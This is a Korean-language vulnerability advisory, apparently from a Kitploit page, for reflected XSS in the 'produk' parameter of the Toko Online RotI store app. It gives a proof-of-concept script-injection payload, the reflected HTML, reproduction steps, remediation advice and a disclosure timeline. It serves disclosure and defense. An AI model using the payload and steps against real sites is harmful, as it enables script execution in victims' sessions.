CVE-2026-39200 — produk 요청 매개변수의 값은 큰따옴표로 캡슐화된 HTML 태그 속성의 값으로 복사됩니다. 페이로드 xbnw0"><script>alert(1)</script>skc2h가 produk 매개변수에 제출되었습니다. 이 입력은 애플리케이션의 응답에서 xbnw0\"><script>alert(1)</script>skc2h로 에코되었습니다. | Kitploit

<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />

<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
                                                            ^^^^^^^^^^^^^^^^^^^^^^^^
                                                            Browser executes this

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<html>
  <body>
    <!-- ... -->
    <input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
    <!-- ... -->
  </body>
</html>

Toko Online RotI 애플리케이션에서 produk 파라미터를 HTML 속성 내부에 반사하는 엔드포인트를 식별합니다(예: 제품 검색, 상세 또는 필터 페이지).
produk 파라미터 값을 다음 페이로드로 교체합니다:
```
xbnw0"><script>alert(1)</script>skc2h
```
서버에 요청을 전송합니다.
서버의 응답을 확인합니다. 페이로드는 속성 내부에 수정 없이 그대로 반사되어 "에서 벗어나 DOM에 유효한 <script> 요소를 생성합니다.
조작된 응답을 최신 브라우저에서 로드합니다. JavaScript alert(1) 대화상자가 표시되어 피해자 세션에서의 임의 JavaScript 실행을 확인할 수 있습니다.

HTML 출력에 반사되기 전에 사용자가 제공한 모든 값을 HTML 인코딩합니다. 특히 <, >, ", ', &를 인코딩합니다(예: <, >, ", ', &).
수동 문자열 연결 대신 프레임워크에 내장된 출력 인코딩 헬퍼를 사용합니다. 예시:
- PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
- ASP.NET: HttpUtility.HtmlEncode(input) 또는 <%: %> 구문
- Python(Jinja2): {{ input }}(기본적으로 자동 이스케이프)
남아 있는 주입의 영향을 제한하기 위해 엄격한 CSP(Content-Security-Policy) 응답 헤더를 설정합니다:
```
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
```
JavaScript가 쿠키를 읽지 못하도록 모든 세션 쿠키에 HttpOnly 및 Secure 플래그를 설정합니다.
예상되는 제품 식별자(숫자 ID, 슬러그 등)의 허용 목록(allow-list)을 기준으로 produk 파라미터를 검증하고 일치하지 않는 값은 거부합니다.
응답 본문의 MIME 타입 스니핑을 방지하기 위해 X-Content-Type-Options: nosniff를 추가합니다.

날짜	이벤트
2026-07-03	권한이 부여된 보안 테스트 중 취약점 발견
2026-07-03	cveform.mitre.org를 통해 MITRE에 CVE ID 요청
2026-07-12	MITRE Assignment Team이 CVE-2026-39200 배정
2026-07-19	보안 권고 공개

CVE ID	CVE-2026-39200
취약점 유형	CWE-79 — 웹 페이지 생성 중 입력의 부적절한 중화(반사형 XSS)
영향받는 제품	Toko Online RotI(인도네시아 온라인 스토어)
영향받는 파라미터	`produk`
발견자	Uzair Ali (r00tali) — 침투 테스터 / 버그 바운티 헌터
발견 날짜	2026-07-03
CVE 배정	2026-07-12
권고 게시	2026-07-19

CVE-2026-39200

인기

취약점 상세 정보

개념 증명(PoC) 페이로드

취약한 패턴(개념)

HTTP 요청(재현)

HTTP 응답(발췌)

재현 단계

영향

해결 방안

공개 타임라인

발견자

참고 자료

면책 조항